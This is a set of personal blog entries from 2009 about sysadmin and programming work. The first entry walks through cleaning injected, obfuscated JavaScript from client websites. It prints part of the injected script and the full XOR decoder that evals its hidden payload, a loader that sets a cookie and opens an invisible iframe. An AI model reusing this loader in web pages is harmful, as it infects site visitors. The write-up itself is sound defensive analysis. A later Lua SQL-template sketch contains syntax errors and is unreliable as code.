I check the site with no problem, but then again, I'm using Linux and Mac OS X and therefore, I don't use Norton (or any virus checking software) so I'm not going to see an issue. I borrow Bunny's laptop (which does run Windows and has anti-viral software on it) and yes, there's something odd with the site. It refuses to come up, and I can't ping the address the site is on. I can ping the address above and the address below, but not the address the site is on. And the anti-virual software is not saying anything.
Thanks to some help from Gregory, I'm able to see that yes, indeed, the anti-viral software on Bunny's machine caught something and is refusing to load the site. At least now I have somewhere to look. And I don't have to look very far.
At the bottom of the index.html
file is:
<div id='x0499fd3b522511d0bf02ea0f9d3f27f9e'> <script> var jQuery = eval('wPi[n2d[o[w5.5e2v[aflP'.replace(/[\[P5f2]/g, '')); jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x61...
All on a single line (not broken up like it is here) for about 20K of obfuscated code. And it exists on every HTML and PHP page on not only the site in question, but two other sites as well (it's on a machine dedicated to the one customer and there are about six sites on the server).
There ended up being too many files to clean up by hand, so a bit of coding later, and I have a program to do the cleanup work. And then the fun begins …
The first statement of the malicious code in question ends up being:
var jQuery = eval('window.eval','');
That was easy enough. The next line required some code to decode the sludge of hex numbers into characters. Again, quickly write some code and I end up with:
function yaqD5(jx1h7){function oNLAq(aui){var s429=0;var fyLx=aui.length;var sLc 8=0;while(sLc8<fyLx){s429+=xjv3(aui,sLc8)*fyLx;sLc8++;}return (s429+'');}functio n xjv3(vMAgS,iEI4P){return vMAgS.charCodeAt(iEI4P);} try {var xhFV=eval('a5rMg 5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';var hDe=0,wTrzNs d=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var bkTnW7=oNLAq( zfx0eN);jx1h7=unescape(jx1h7);for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r+ +){var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);var wUJNWv=xjv3(jx1h7,sFme6r); hDe++;wTrzNsd++;if(wTrzNsd>bkTnW7.length)wTrzNsd=0;if(hDe>zfx0eN.length)hDe=0;oZ AH+=String.fromCharCode(wUJNWv^ynhg) + '';}eval(oZAH); return oZAH=new String(); }catch(e){}}yaqD5('%32%38%35%37%36%33%35%30%59%27%1e%37%53%2a%31%47%0b%7f%15%65% 72%2f%3f%61%2e%09%29%2d%02%0e%05%04%0e%1d%68%11%32%24%75%6a%7b%7a%33%34%52%69%61 %02%2c%38%29%37%77%09%19%37%3f%26%64%62%33%21%12%18%3e%6f%63%29%7c%70%3b%00%35%3 2%2...
Yet more encoded data, about 4K worth this time. Quick program to decode this sequence of hexadecimal sludge and I get:
28576350Y'7S*1G er/?a. )-h2$uj{z34Ria,8)7w 7?&db3!>oc)|p;nR.}2;l.'ij.3
Obviously the cryptic JavaScript code does some additional massaging on that data. So I clean up the JavaScript code a bit:
function yaqD5(jx1h7) { function oNLAq(aui) { var s429=0; var fyLx=aui.length; var sLc8=0; while(sLc8<fyLx) { s429 += xjv3(aui,sLc8)*fyLx; sLc8++; } return (s429+''); } function xjv3(vMAgS,iEI4P) { return vMAgS.charCodeAt(iEI4P); } try { var xhFV=eval('a5rMg5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH=''; var hDe=0,wTrzNsd=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,''); var bkTnW7=oNLAq(zfx0eN); jx1h7=unescape(jx1h7); for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r++) { var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd); var wUJNWv=xjv3(jx1h7,sFme6r); hDe++; wTrzNsd++; if(wTrzNsd>bkTnW7.length) wTrzNsd=0; if(hDe>zfx0eN.length) hDe=0; oZAH+=String.fromCharCode(wUJNWv^ynhg) + ''; } eval(oZAH); return oZAH=new String(); } catch(e){} } yaqD5('%32%38%35 ... [some 4,000 characters later ] ... %31%32');
Okay, it converts the hexadecimal sludge to binary data, then does something to it and finally evaluates the resulting data as JavaScript. I rewrite this a bit so that instead of evaluating the resulting string it prints the results out and I get:
f{lcvmhl tYDQt~DQHA&+{ sUFQxxCQLF,pravov}wg =.ycmklkeN ...
That certainly doesn't look like valid JavaScript to me. Okay, let's clean up some of the code a bit more (and only showing the relevant bits):
xhFV = eval('arguments.callee','') zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'')
From single stepping this (Firebug is great for this type of thing)
it appears that arguments.callee
returns the actual function,
with parameters, being called, and placed into xhFV
, and then
zfx0eN
is the source code of the function being called (in this
case, yadD5()
), but the source code is the actual string
representation as it appears in the HTML file! And this string was being used to
transform the binary sludge into JavaScript.
So no wonder I was getting garbage, because I changed the source code!
Sheesh.
Once I use the actual source code as the “decryption key” I
finally reach the bottom of this particular rabbit hole. The
code (which still has code like
s='<Eh]t;mElu>;<]b]o]dEy]>]'.replace(/[;\]rEu]/g,
'')
but that's about it) sets a cookie, then makes an invisible
IFRAME
which pulls a page (from a non-working site) that
presumedly contains even nastier code yet.
I wasn't fond of dynamic languages before tonight's little trip, and
afterwards, I like them even less. I'm fully aware that I might be
overreacting here, wanting to toss out eval()
with the
JavaScript bathwater, but I seriously can't see what benefit
comes with allowing unrestricted use of eval()
in browser-based
JavaScript engines.
Perhaps someone can enlighten me.
Monday, August 31, 2009
If this keeps up, I may have to physically drag Smirk back to the office
Four for four. Today's issue was a non-responsive DNS resolver in The Data Center In Boca Raton. It may have been left over from the UPS incident the other day (we have redundant DNS resolvers and there's a known issue with the monitoring system triggering false reports on that one resolver).
But still … this is getting ridiculous.
“What if you mix the mayonnaise in the can, WITH the tunafish? Or … hold it! Chuck! I got it! Take LIVE tuna fish, and FEED 'em mayonnaise! Oh this is great.”
Those USP devices you buy for your computer usually have a gel-cell battery that lasts for a few years. Less if your power goes out a lot. When you replace them, you pay a bundle, even if it's a standard cell. This short Instructable will demonstrate how to rework an older USP for more capacity with cheaper battery power.
Via Hacker News, Rework a USP with Massive Capacity
Sounds like a neat idea, but it got me thinking—wouldn't it be better if the USP could power the computer directly with DC? Our Cisco switches can take a direct 12V power supply, and pretty much all computer power supplies convert AC 120V to ±12V and ±5V (or is it ±3.3V these days?—I haven't kept up) and there are any number of devices (like the wireless router, the DSL modem, the VoIP phone) that all have these huge wall worts that are hard to find space to plug in that all work off of 12V as well. I would think it would be a no-brainer to make a USP do the conversion work and feed the devices DC directly, instead of converting 12VDC power into 120VAC power only to have it converted back to 12V/5VDC power.
Tuesday, September 01, 2009
Take Five
I'm almost relunctant, seeing how it was an oversight on my part, on the same DNS server as yesterday, but given I was called before God gets up (or at the very least when I get up), I'm calling it five for five.
On the plus side, the incidents are getting smaller and smaller, but I suspect I just jinxed myself by mentioning it …
Wednesday, September 02, 2009
The quiet before the storm
It appears that things have finally quieted down at The Office. No emergencies, no “O'dark 30” phone calls. Just a peaceful day at The Office. Well, not really at The Office, since everyone at The Company works from home, so it's more of a quiet day at The Virtual Office.
Now I've really jinxed myself.
Has it really been five years since the last release?
Since it's been a quiet day at The Virtual Office, I did some work on the backend of the ol' journal here, mostly tweaking the webserver configuration (such as mod_deflate
and mod_expires
among other configuration changes), some changes in where certain files live and under what names (for example—the CSS now gets a unique file name for each change, which means I can set the expiration date for such files way into the future, which helps with caching and cuts down on bandwidth usage) and a few modifications to mod_blog
to generate better navigational links.
It was then I noticed that the last release for mod_blog
was five years ago.
Ooh.
Well, it's not like anyone else uses the codebase, but still, I felt a bit bad about that, so I went ahead and made a new tarball of the current version, just in case someone is interested in the codebase.
Thursday, September 03, 2009
Neat, but I still don't like it
I'm not a fan of tail call
optimization, but still, I didn't quite realize that gcc
will optimize tail calls if given the
-O2
option (found while reading Hacker News).
Okay, this is something I have to try out:
[spc]lucy:/tmp>cat >forever.c int main(int argc,char *argv[]) { return main(--argc,argv); } ^D [spc]lucy:/tmp>gcc forever.c [spc]lucy:/tmp>./a.out Segmentation fault (core dumped) [spc]lucy:/tmp>gcc -O2 forever.c [spc]lucy:/tmp>./a.out (several minutes go by) ^C [spc]lucy:/tmp>
That's interesting. Not sure how it'll impact any code I write, but still, it's interesting.
Notes on a browser history mechanism, Part II
Find any page you have visited quickly and easily. Shows your browsing history as a tree of tabs, with thumbnail screenshots of the web-pages in every tab you have opened.
Via Hacker News, History Tree 1.0
I remember talking about a browser history mechanism like this seven years ago. I'm surprised it's taken this long to implement this.
I'm also surprised that there can be Firefox extensions that are operating system specific (in this case, Windows only—sigh).
Friday, September 04, 2009
Another from the “Life trumps satire” Department
JERICHO, Ark.—It was just too much, having to return to court twice on the same day to contest yet another traffic ticket, and Fire Chief Don Payne didn't hesitate to tell the judge what he thought of the police and their speed traps.
The response from cops? They shot him. Right there in court.
Via theferrett, Fire chief shot by cop in Ark. court over tickets - Yahoo! News
I give up. This is just too out there. Where do you go from here? What possible form of satire can you do when our society has fallen to such levels of … of … this?
And it's sad, in a way, that real life is just too weird for satire nowadays.
Monday, September 07, 2009
A rabbit hole to China
R seems to have weathered the changes in gambling legislation and called for some help on a website he's been working on. It involves moving a site from an undocumented overwrought PHP framework to a documented overwrought PHP framework (which is mostly done) and one of the last bits to do is the integration of a questionnaire.
How hard could it be to integrate a questionnaire?
Oh, it's 18,449 lines of non-integrated PHP code.
Lovely.
So I'm going through the code and see a bunch of stuff like this:
<input type="checkbox" name="followanswer_7" id="followanswer_7" value="1" onclick="checkbox_selected_fu(7)" >
So my guess is not only is it 18,449 lines of PHP, but there's probably a
nice dose of AJAXy goodness thrown in. Curious as to what
checkbox_selected_fu()
might be doing, I search for its
definition.
Deep in a PHP function I find the following:
echo 'function checkbox_selected_fu(followup_questionsid) {'.b; $qry = "SELECT * FROM followup_questions WHERE conditions='yes';";
If I thought 18,499 lines of PHP code was lovely, this is just peachy keen! Constructing JavaScript on the fly from PHP and SQL! Woot! Please sir, can I have some more?
Update a few hours later …
Why yes, I can have more!
That JavaScript being generated on the fly by PHP and SQL? Turns out it's generating HTML on the fly.
I can't tell you how thrilled I am to learn that.
I talked to R, and we both agreed that it would probably be best to turn the questionnaire into something that runs as standalone as possible. Which we think is doable since the questionnaire was one of the last things done under the undocumented overwrought PHP framework and even the developers were getting tired of the framework (which should tell you something about the framework) and just wrote the questionnaire as quickly as possible. Which probably explains the code quite a bit …
Monday, September 14, 2009
You can't win if you don't play, but I still have my dollar. Do you?
Just The Facts
- The odds of winning a Mega Millions Jackpot are 175,000,000 to one.
- The odds, as an American Male, of being Tom Cruise are only 150,000,000 to one.
- You are more likely to call heads twice, roll a six and then be struck by lightning than win a regular 6/49 lottery.
Via jwz, Lottery | Cracked.com
That (and the rest of the article) is pretty much why I don't play the lottery.
I also don't gamble. I learned the “if, at a poker table, you can't spot the sucker, it's you” lesson the hard way back in college (nothing like losing an entire paycheck in a “friendly” game).
(As a digression—growing up, I preferred Mad over Cracked, which I found to be a weak imitation of Mad. But these days, the Cracked website is lightyears better than the Mad website.)
Update on Tuesday, Debtember 5th, 2017
For some reason, John Hawthorne thinks this post is pro-lottery. I want to make it clear it's not.
“Star Surfs”
I'm earwormed.
Not with Why is Captain Kirk Climbing a Mountain (link via kisrael.com), although I find it rather catchy, but with (to me) this 60s surf movie (or maybe western—it's got elements of both) rendition of the Star Wars theme (link via news from me). I can also imagine Quentin Tarantino using this in one of his films.
Tuesday, September 15, 2009
“Okay, I'm deleting records over a certain age, so the time needs to be … ”
I'm still working on the questionnaire from Hell and the approach that R and I worked out was to make the questionnaire as stand-alone as possible so it can be moved as one whole piece from the old undocumented overwrought PHP framework (217,981 lines of PHP, 34,973 lines of XSLT, 104,134 lines of JavaScript and 17,137 PNG files) to the new documented overwrought PHP framework (44,655 lines of PHP, no XSLT, 7,597 lines of JavaScript and 120 PNG files—so maybe not as overwrought as I initially thought).
It's going slowly.
R called and said there was a problem with the current site—that the server was running out of memory trying to serve up a page with all the people who took the questionnaire. I took a look at the existing, undocumented overwrought PHP framework and it's doing a database query (which is returning at least 10,000 records) and using XSLT to transform XML and the database results into HTML.
All in memory.
So of course it's running out of memory.
We discuss the issue and there are two solutions: paginate the output, or delete enough records so the page can be built in memory. We both took one look at the options (diving into 300,000 lines of code and modifying it, or a few lines of SQL to prune the database) and said “delete the records!”
Now, the database doesn't use the SQL DATETIME
to store when the
questionnaire was filled out. No, that would be too easy. No, it uses an
INT
to store the date, using the number of seconds since
January 1st, 1970—it being MySQL under Linux (it's a Unix thing). So
I have to figure out the number of seconds from January 1st, 1970
as of three months ago.
Fortunately, it's easy under Linux:
[spc]lucy:~>date -d '3 months ago' +%s 1245129383 [spc]lucy:~>
So anything older than that gets deleted.
mysql> DELETE FROM questionnaire WHERE answer_date > 1245129383; Query OK, 2344 rows affected (0.10 sec)
Um … I was expecting over 8,000 rows to be … oh XXXX! I got the conditional backwards! It's supposed to be less than that number of seconds, not greater, since it's a date!
Sigh.
Backups to the rescue.
I'll be glad when this is over.
Wednesday, September 23, 2009
Notes on a Browser History Mechanism, Part III
- From
- <XXXXXXXXXXXXXXXXXXXXXXXXXXXXX>
- To
- sean@conman.org
- Subject
- Your web-article "Notes on a Browser History Mechanism, Part II"
- Date
- Wed, 23 Sep 2009 15:42:05 +0000 (GMT)
Hello Sean,
I just saw your article about the "History Tree" Firefox add-on at; http://boston.conman.org/2009/09/03.2
I am the author of History Tree and have just tested it and made it available for Linux and Mac. See; https://addons.mozilla.org/en-US/firefox/addon/13316/ The reason for the delay is that I use mostly Windows and have only recently tested History Tree other platforms.
You were of course right to be surprised that it was initially for Windows only, since its mostly written in JavaScript. However, I had to test on Linux and Mac, since I am a bit of a perfectionist in that way.
I hope you find time to try History Tree out and that you find it useful Perhaps we will then see “Notes on a Browser History Mechanism, Part III” ?
Best Regards,
Norman Solomon
There is nothing wrong with being a perfectionist. And I would like to thank Norman for emailing me about the new version of History Tree.
I've tried it out, and I like it. It does what I described seven years ago, only it looks a lot better, and definitely has more functionality that I expected. But seven years ago I wasn't using tabs. I am now, and my only complaint about History Tree is how it handles tabs.
The screen shot shows the history for four tabs I have open in Firefox, with the second tab having quite a bit of historical branching (the red box is the current page being displayed). My issue is that the second tab was opened from the most recent page in the first tab (which is off the bottom of the screen), and the third tab was opened from … well … I forgot which page in the second tab I opened it from. Same with the fourth tab. That's my complaint—there's no indication of which tab was created from which page.
I am at a loss as to what Norman can do for this. Drawing lines showing which page a tab was created from would get horribly confusing. Perhaps if you mouse over the first page in a tab, it could change the color of the page which created the tab in the first place? And then what to do when said page isn't visible?
But other than that, it's a very nice piece of work.
So called “alternative energy sources”
What about electric cars? What about 'em? Present battery technologies do NOT support 200 miles at freeway speeds for two people and luggage. Fifty or a hundred miles, just maybe. That takes care of a short commute and a trip to the grocery on the way home every day. And then you have to plug it in and recharge it. And where, dear reader, does that electricity come from? 77% of it comes from powerplants that burn those nasty hydrocarbons like coal, oil and natural gas. Another 10% comes from nuclear, and 7% comes from hydro, you know, those dams that are killing our rivers? And when you plug in your eco-friendly electric car, that's where the electricity comes from. Except for the 7% that's lost in the lines bringing it to your house. Short answer? If everybody goes to electric cars, we're gonna need more electricity. And right now, more electricity is going to take more carbon.
…
The whole energy/carbon/ecology discussion is filled with little corners of knowledge like these that I've just dipped into briefly. Many of us out here in the blue states know about this stuff and we know how bad policy, based on bad science is going to hurt this country.
Folks, another thing to consider is that energy, synonymous with carbon, already costs. You pay for it. The people who run the factory have to pay for it to give you what you want, and YOU pay for the energy. And now Obama and the eco-whackos are trying to make it more expensive to use energy. and guess who will pay. Can you afford it?
Mostly Cajun, All American and Opinionated » Carbon and more
Mr. Cajun works for the power industry, so he knows this stuff. And what he's saying is scaring me. But his article is just the tip of the iceberg. Years ago, Steven Den Beste wrote a series of articles on energy production and what we, as a society, realistically need. It's a lot to read, but the entire series below is really worth reading.
But there is a synopsis of the articles below for those that want to get to the meat of the argument. Basically, it boils down to:
In order for “alternate energy” to become feasible, it has to satisfy all of the following criteria:
- It has to be huge (in terms of both energy and power)
- It has to be reliable (not intermittent or unschedulable)
- It has to be concentrated (not diffuse)
- It has to be possible to utilize it efficiently
- The capital investment and operating cost to utilize it has to be comparable to existing energy sources (per gigawatt, and per terajoule).
If it fails to satisfy any of those, then it can't scale enough to make any difference. Solar power fails #3, and currently it also fails #5. (It also partially fails #2, but there are ways to work around that.)
The only sources of energy available to us now that satisfy all five are petroleum, coal, hydro, and nuclear.
My rule of thumb is that I'm not interested in any “alternate energy” until someone shows me how to scale it to produce at least 1% of our current energy usage. America right now uses about 3.6 terawatts average, so 1% of that is about 36 gigawatts average.
That was true in 2003 (when the original articles below were written), and it was true in 2008 (when the above was written) and it's still true today.
Anyway, the full set of articles:
- Carbon Emissions
- Energy Dependence
- More on Energy Dependence
- More Practical Problems
- Obscure Energy Sources
- Biomass
Two more articles that were listed in my links along the Den Bests articles:
And as a refresher course, a slang definition of the Three Laws of Thermodynamics:
- You can't win.
- You can't break even.
- You can't even leave the game.
Tuesday, September 29, 2009
“If you wish to make an apple pie from scratch, you must first invent the universe”
The title is a quote from Carl Sagan, and yes, he's using the exteme definition of “scratch.”
But even using a less rigorous definition of the word “scratch” can still require a bit of work, just as this BLT that Jared Dunnohew made (link via Michael Ruhlman via Jason Kottke). Not only did he grow his own tomatoes and lettuce, baked the bread, made the mayonnaise, but smoked his own bacon and even harvested his own salt!
He must really like his BLT fresh …
Saturday, October 03, 2009
Think
For Gregory, who will only use IBM ThinkPad laptops, comes the original IBM ThinkPad (link via Jason Kottke), which is still available for only a buck ninety-three.
But I want to know where to get this leather case for the IBM ThinkPad …
It's not a single-use brick, it's a lack of our imagination
Earlier last month, Jason Kottke posted a story about how Lego has become single use. It's the sort of golden-era thinking that I promised myself I wouldn't fall in to, but I ended up nodding along. Yeah, Lego's too corporate. Lego sold out!
Except that it hasn't.
Robin Sloan at Snarkmarket shook me out of my false nostalgia with the Tao of Lego. Despite opening by agreeing with Jason, Robin put together a post crammed to the gills with links to amazing repurposing of the supposedly single-use bricks. Want an example?
…
I bought a pile of the standard bricks and—as an experiment—this Star Wars kit to see how ridiculous the pieces were. On the box, it appears to be made of all-kinds of single-use bits. Building it told a different story. The feet of the walker turn out to be the same part as the bodies of the Droids. Some of the joints are re-purposed guns. There are dozens of little clever things so that as you follow the instructions, there is moment after moment of discovery. “Oh, I can do THAT with that part?”
Via Jason Kottke, There is no single-use Lego | Quiet Babylon
It's amazing what can be done using Lego, even with the non-Lego Lego Bionicle parts.
Click the link. Click all the links. You know you want to. And it's worth it.
Sunday, October 04, 2009
You know, had there been Pokémon cards when I was a kid, I might not have had to cheat in fourth grade math class …
He could go upstairs with his cousins to look over the cards and then pretend to be Pokémon characters for two solid hours—even though there was almost nothing else he could do, without distraction, for more than 20 minutes. Pokémon didn't seem so much an addiction as good-natured absorption—genuine, intrinsically oriented self-direction. We also realized the cards were teaching him category systems and math.
That following school year, in his first-grade class, Pokémon became social currency. About half his class was entranced by the cards. At times it seemed ridiculous, but then I'd hear my son plop down two cards and talk out more complicated math problems than anything he saw at school: “160HP minus 110HP plus 30 resistance points minus 20 weakness points equals 60 points left,” he'd say, then plop down two more cards to solve.
…
The second half of first grade, our son started reading the fine-print paragraphs on the cards. He got more reading time in through his love of Pokémon than he ever did at night, when we handed him books. He did read the books out loud to us, but it was a necessary chore. Pokémon was never a chore. And I noticed the paragraphs on the cards were syntactically far more complicated than anything he read in books. Soon, the same brain transformation that drove his math speed was reproduced with his reading speed.
Pokémon had taken over his brain. But in ways my wife never expected. Early in second grade, his math teacher told us he was as fast at math as the fifth graders. Not bad for a kid turned away by most of the local private schools prior to kindergarten.
Why Dumb Toys Make Kids Smarter - Page 1 - The Daily Beast
My mom used to tell me that at the end of my second day at kindergarten (or maybe it was 1st grade) I was upset that I had not yet learned to read.
I'm not sure if that's what prompted her to let me pick and read comic books, or she just wanted for me to read anything I might enjoy, but up til the end of the 4th grade, she would give me enough money to buy a few comic books every week (we moved to Florida just prior to my 5th grade and I couldn't locate any nearby location that sold comic books, so that's pretty much when I stopped reading them). It must have helped some, because in 4th grade I was placed into the 5th grade reading class.
Tuesday, October 13, 2009
Going to the moon
“I hear you banging away at the keyboard,” said Bunny. “Will R like what you're working on?”
“Oh, I'm sure he'd like what I'm working on,” I said, “but whether he would pay me is another matter … ”
That was when I got The Look.
So, if I'm going to be banging away at the keyboard, might as well get a post out …
Over the past month, when I haven't been disinfecting websites and telling the people over at WC that no, their network is fine but we'll reinstall all the DNS servers anyway for Smirk and cramming in the hour here or there converting PHP from an undocumented hugely overwrought PHP framework to a documented and slightly overwrought PHP framework I've been playing around with Lua.
No, really!
I've been having a blast programming in a prototyped-based, dynamic, partially functional scripting language for the past month. I haven't had this much fun with a language since learning 68000 Assembly Language.
Yes, I know, I hate such languages, but over the past month, I've given it much thought as to why I like love Lua and hate the rest of the crowd.
Unlike Perl, which was designed by an insane linguist with a pediliction for punctuation who felt that a language of nothing but exceptions (much like spelling in the English language) would be fun, Lua is a simple language (heck, it's positively tiny—only 21 reserved words) that is very regular, with just a sprinkling of syntactic sugar to make it nice. Oh, and no sigils required on variables.
PHP is designed by rabid wombats—enough said.
Lua feels more like Python or JavaScript, only without the syntactic significance of whitespace and a consistant syntax for defining functions, both regular and anonymous, unlike Python, and has a much smaller code base than JavaScript, probably making it easier to embed.
And unlike Ruby, it's fast. I've found Lua to be faster than any of the other scripting languages I've mentioned so far.
It really comes down to a small, consistent scripting language that is easy to extend with C (or embed into a C/C++ application). And when I say small, I mean small. Twenty-one reserved words, twenty-six operators (like “(”, “)” or “‥”) and only 118 functions in the standard library, unlike the hundreds or thousands you'll find in the other languages.
Some people might not like the “batteries not included” feature of Lua, but since it's intended to be an embedded scripting language, that isn't much of a liability. You get a scripting language that allows you to declare variables, functions (both named and anonymous), closures, coroutines (or threads, if you want to think of them that way) and flow control. And I've been amazed at the extensions available for Lua.
So expect a deluge of Lua-related posts as I finally document what I've been doing for fun for the past month.
Sigh ‥ back to R's project and mucking with PHP …
Wednesday, October 14, 2009
Lua's long strings
I'm back from mucking with R's project for now …
One of the things I had to do on “Project: DoogieHowser” was figure out which tables needed updating before the questionnaire could start, in an attempt to get the thing as standalone as possible (since as written, it's almost, but not quite separate from the old undocumented hugely overwrought PHP framework) and one of the ways to test my findings was to populate the database and try it out.
And in order to test it over and over again, I wrote the code in PHP (this was just before I start learning Lua):
$now = time(); $id = mysql_insert_id($conn); $query = "INSERT INTO program (" . "order_number," . "orderid," . "clientid," . "editable," . "purchasedate," . "reactive_date" . ") " . "VALUES (" . "'119195450271'," . "25278," . $id . "," . "1," . $now . "," . $now . ")"; $result = mysql_query($query,$conn); $pid = mysql_insert_id($conn);
… and what can I say, it's PHP. It's messy. It's nasty. It's got a pediliction for punctuation.
Now, one of the neatest features of Lua is the use of “long brackets”, which make the construction of huge strings trivial:
a_long_string = [[ `Twas brillig, and the slithy toves Did gyre and gimble in the wabe: All mimsy were the borogoves, And the mome raths outgrabe. "Beware the Jabberwock, my son! The jaws that bite, the claws that catch! Beware the Jubjub bird, and shun The frumious Bandersnatch!" ]]
It's a brilliant solution to such a problem (and even neater, there's a
method for embedding such long strings within a long string). It even
extends to comments. In Lua, the line comment starts with a
--
:
-- frob the widget a few times, just to make sure for i=1,10 do frob(widget) end
But a longer block comment starts with --[[
and ends with
]]
:
--[[ We need to frob the widget multiple times, since the bitbucket sometimes get stuck and needs to be forced a few times to clear up the issue. Through empirical testing we found that frobbing the widget 10 times will always work, doesn't effect performance *all* that much, and much more importantly, will allow me to get at least two hours sleep under the desk before da boss comes in and starts screaming about deadlines ... ]] for i=1,10 do frob(widget) end
So, had I used Lua, the above code would probably look something like:
now = os.time() id = mysql.insert_id(conn) query = string.format([[ INSERT INTO program ( order_number, orderid, clientid, editable, purchasedate, reactive_date ) VALUES ( '119195450271', 25278, %s, 1, %d, %d )]],id,now,now) res = mysql.query(query,conn) pid = mysql.insert_id(conn)
Not much different, but I didn't have to build up that huge string piecemeal, and it was certainly easier to type up.
And now that I think about it, I don't think it would be all that much code to fill in an SQL template with variables:
function sql_template(sql,text,vars) local function cmd(tag) local word = string.sub(tag,2,-2) if type(vars[word] == "string" then return sql.escape(vars[word]) elseif type(vars[word] == "function" then return sql.escape(vars[word]()) else return sql.escape(tostring(var[word])) end end local s = string.gsub(text,"{%w+}",cmd) return s end query = sql_template(mysql,[[ INSERT INTO program ( order_number, orderid, clientid, editable, purchasedate, reactive_date ) VALUES ( '119195450271', 25278, {id} 1, {now}, {now} )]] , { id = mysql.insert_id(conn), now = os.time() });
Hmmm … I might have to see if I can do something like that in PHP; it would certainly help in “Project: Leaflet” …
A day in the life of the Googlenet
The following ticket comes in:
The warning message that my web site might be an attack site is showing up again. … The fact that I can get around the warning and get to the site doesn't alter the fact that it comes up sometimes instead of my home page. Business is bad enough without having customers scared away. It wasn't there yesterday. It is there again today.
This, and the phone conversation, lead me to believe that when he opens his browser, it immediately loads up the Google home page, and that he types his domain into the search box to get to his own site.
I say that because when I went to Google, and typed in his domain:
XXXX XXXXXX
This site may harm your computer.
Merchants, if you are interested in selling your wares in this market, call XXXXXXXXXXXX between 9-5 EST, Mon-Fri for information …
XXXXXXXXXXXXXXXXXXX - Similar
That, and I doubt he really understands how all this Intarweb stuff works, because that only happened on one of his three browsers.
Heck, for all I know, it could be the anti-virus software on the one computer gets some clues from Google (I'm not even sure how all this stuff works anymore, especially on the Microsoft Windows front).
Of course, his site uses quite a large amount of PHP … which meant I had to clean out the malicious PHP code that had been added …
I'm really of two minds about PHP. Personally, I hate the language (being designed by rabid wombats will do that for a language) and if I have a choice, I'd rather use C to write web applications than PHP (or maybe Lua). But I'll admit up front I'm a computer language snob who prefers early binding and static typing (comes from my Assembly Language background I'm sure), because PHP has allowed people who would otherwise be unable to create web applications not only the ability to create web applications, but find inexpensive hosting for said applications. Then again, it has allowed people who should otherwise be prevented from creating web applications the ability to create web applications more insecure than a balsa wood bank vault.
I think I'm digressing (and there's more I could say about insecure web applications, but that's for another post), but I'm not sure what point I want to make, but I think it has something to do with Google taking over the Internet. That, and the fact that because of the way they scale, they attempt to automate as much of the company as possible, and as a consequence, they have horrible customer service (and no, the irony of using Google to search for evidence of its own bad customer service isn't lost on me, nor the fact that I'm probably using the term “irony” incorrectly), so our customer will probably face an uphill battle to get “This site may harm your computer” off his Google search results.
A mass of stupid benchmarks. You have been warned.
A few weeks ago Wlofie and I were talking about computer languages and I mentioned the language I wrote in college (it was more than the simple DSL shown there), so I cleaned up the code so it would compile (most of it was written in 1993; last date of modification was March 5th, 1995) and just because I was curious, I decided to run a stupid benchmark on it.
What's more stupid than just adding up the first 1,000,000 integers?
: main 0 0 begin swap over + swap 1 + dup 1000000 < while repeat drop "%d#n" string print ; main 0 exit
(Oh, did I mention the language was based off Forth?)
Running that code on my modern 2.6GHz machine takes a full 2.1 seconds (and that's after I removed a huge bottle neck in the runtime engine). The equivalent C code:
#include <stdio.h> #include <stdlib.h> int main(int argc,char *argv[]) { int i; int total; for (i = 0 , total = 0 ; i < 1000000 ; i++) total += i; printf("%d\n",total); return EXIT_SUCCESS; }
takes a mere 0.004 seconds to run.
Okay, that's expected—it's C. But what about Perl? 0.47 seconds.
Heh. A hundred times slower.
Hey! What about Python? It's not as fast as Perl, but it comes in at around 0.58 seconds.
I'm not even going to attempt a comparrison between my language and Ruby—it'd be too depressing to lose out to a known slow language.
But Wlofie did mention one other language he was playing around with—Lua. Okay, how fast is Lua? Same benchmark as above: 0.15 seconds.
Wow.
It blew Perl right out of the water.
This required a bit more investigation. And a better test than just summing up the first 1,000,000 integers. I settled upon the Jumble program. It involves I/O and has one non-trivial operation (sorting the letters in a word). And on my current system, the C version can check 483,523 words in 0.18 seconds (the timings I gave back in 2008 were for my older, 120MHz development machine).
The Lua code is straightforward:
#!/usr/local/bin/lua WORDS = "/usr/share/dict/words" -- ****************************************************** function sortword(word) local t = {} for i=1,string.len(word) do t[i] = string.byte(word,i) end table.sort(t) return string.char(unpack(t)) end -- ******************************************************** if #arg < 1 then io.stderr:write("usage: %s word\n",arg[0]) os.exit(1) end word = sortword(string.upper(arg[1])) dict = io.open(WORDS,"r") if dict == nil then io.stderr:write("Houston, we have a problem ... \n") os.exit(1) end for line in dict:lines() do dictsort = sortword(string.upper(line)) if dictsort == word then print(line) end end dict:close() os.exit(0)
sortword()
has quite a bit of work to do—it has to go
through the string, placing each letter into an array, sort the array, and
then convert the array back into a string. Unlike C, which treats strings
as an array of characters (and thus can be sorted without the data
gymnastics), Lua (and pretty much all other modern scripting languages)
treat strings at a single unit.
So it takes 7.9 seconds for Lua to run through the same 483,523 words.
Ouch. And I think it's pretty obvious where the time is being spent—in
sortword()
, pulling apart strings, sorting arrays, making new
strings. But Lua can be easily extended using C. I rewrite
sortword()
in C:
#include <stdlib.h> #include <string.h> #include <lua.h> #include <lauxlib.h> #include <lualib.h> /*******************************************/ static int cmp(const void *l,const void *r) { int cl; int cr; cl = *(const char *)l; cr = *(const char *)r; return cl - cr; } /************************************/ static int sortword(lua_State *L) { const char *word; size_t len; word = luaL_checkstring(L,1); len = strlen(word); char buffer[len]; memcpy(buffer,word,len); buffer[len] = '\0'; qsort(buffer,len,1,cmp); lua_pushlstring(L,buffer,len); return 1; } /***********************************/ int luaopen_sortword(lua_State *L) { lua_register(L,"sortword",sortword); return 0; }
And now it only takes 2.2 seconds. Not a bad return upon investment.
Now we turn to Perl:
